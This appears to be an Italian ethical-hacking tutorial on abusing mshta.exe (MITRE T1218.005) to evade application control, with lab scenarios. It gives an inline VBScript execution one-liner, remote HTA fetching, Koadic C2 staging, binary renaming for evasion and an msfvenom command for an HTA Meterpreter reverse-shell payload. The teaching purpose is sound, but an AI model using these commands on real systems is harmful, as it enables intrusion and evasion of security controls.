Esecuzione tramite Mshta: Mshta (T1218.005)

Mshta.exe è un binario firmato Microsoft, presente di default su tutti i sistemi Windows, progettato per eseguire file HTML Application (.hta). Questi file sono applicazioni standalone che girano sfruttando il motore di rendering e scripting di Internet Explorer, ma al di fuori del contesto di sicurezza del browser — un dettaglio che li rende particolarmente appetibili per gli attaccanti.

La tecnica si colloca nella tattica Defense Evasion (TA0005), la fase della kill chain in cui l'avversario cerca di sfuggire ai controlli di sicurezza. L'abuso di mshta.exe consente di aggirare soluzioni di application control che non contemplano l'utilizzo di binari di sistema legittimi come vettore di esecuzione, un pattern noto come Living off the Land Binary (LOLBin). L'esecuzione può avvenire tramite file .hta locali, URL remoti o script inline VBScript/JScript passati direttamente come argomento sulla riga di comando.

I numeri parlano chiaro: 17 gruppi APT documentati, 11 software che integrano questa tecnica, 2 campagne e 2 mitigazioni formali. Si tratta di una delle sub-tecniche di System Binary Proxy Execution con il più ampio ventaglio di adozione, dal cybercrime finanziario allo spionaggio di stato, a dimostrazione che la semplicità d'uso e l'affidabilità del vettore ne garantiscono la longevità operativa.


L'obiettivo in laboratorio è dimostrare come un binario firmato Microsoft possa essere trasformato in un proxy di esecuzione arbitraria, bypassando policy di application control mal configurate. L'esercizio si articola in tre scenari crescenti di complessità.

Scenario 1 — Esecuzione diretta di HTA remoto. Il caso più semplice: mshta.exe scarica ed esegue un file .hta da un web server controllato dall'attaccante. In laboratorio, prepara un file .hta con un payload benigno (ad esempio un calc.exe) e servilo con un semplice HTTP server Python. Il comando da lanciare sulla macchina target è:

mshta /payload.hta

Il file .hta può contenere VBScript che istanzia un oggetto Wscript.Shell ed esegue comandi arbitrari. Questo scenario replica il comportamento documentato per gruppi come Lazarus Group, Sidewinder e TA551.

Scenario 2 — Inline VBScript senza file su disco. Qui il payload non tocca mai il filesystem come file .hta, rendendo il rilevamento basato su file hash inefficace. La sintassi classica prevede l'uso del protocollo vbscript: direttamente dalla command line:

mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""calc.exe"", 0:close")

Questo approccio è stato ampiamente documentato in campagne reali e rappresenta una variante particolarmente insidiosa perché non genera artefatti .hta su disco.

Scenario 3 — Chain con Koadic C2. Lo strumento Koadic (open source) è un framework C2 basato su Windows Script Host che utilizza nativamente mshta.exe come stager. Dopo aver configurato un listener nel framework, il comando generato da Koadic produce uno stager mshta che, una volta eseguito sulla vittima, stabilisce una sessione C2 completa. Questo replica il pattern usato da LazyScripter.

Scenario 4 — Evasione tramite rename. APT38 ha utilizzato una copia rinominata di mshta.exe per evadere regole di detection basate sul nome processo. In lab, copia il binario in un percorso alternativo con nome diverso e verifica se le policy di application control lo bloccano comunque — se non lo fanno, hai trovato un gap.

Per la generazione di payload HTA in contesto red team, Metasploit Framework (open source) offre il modulo exploit/windows/misc/hta_server che automatizza la creazione di file .hta con payload Meterpreter. L'alternativa è utilizzare il tool msfvenom per generare payload HTA standalone:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f hta-psp -o payload.hta

Verifica sempre che il laboratorio sia isolato e che il payload non possa raggiungere reti di produzione.


Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo

We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.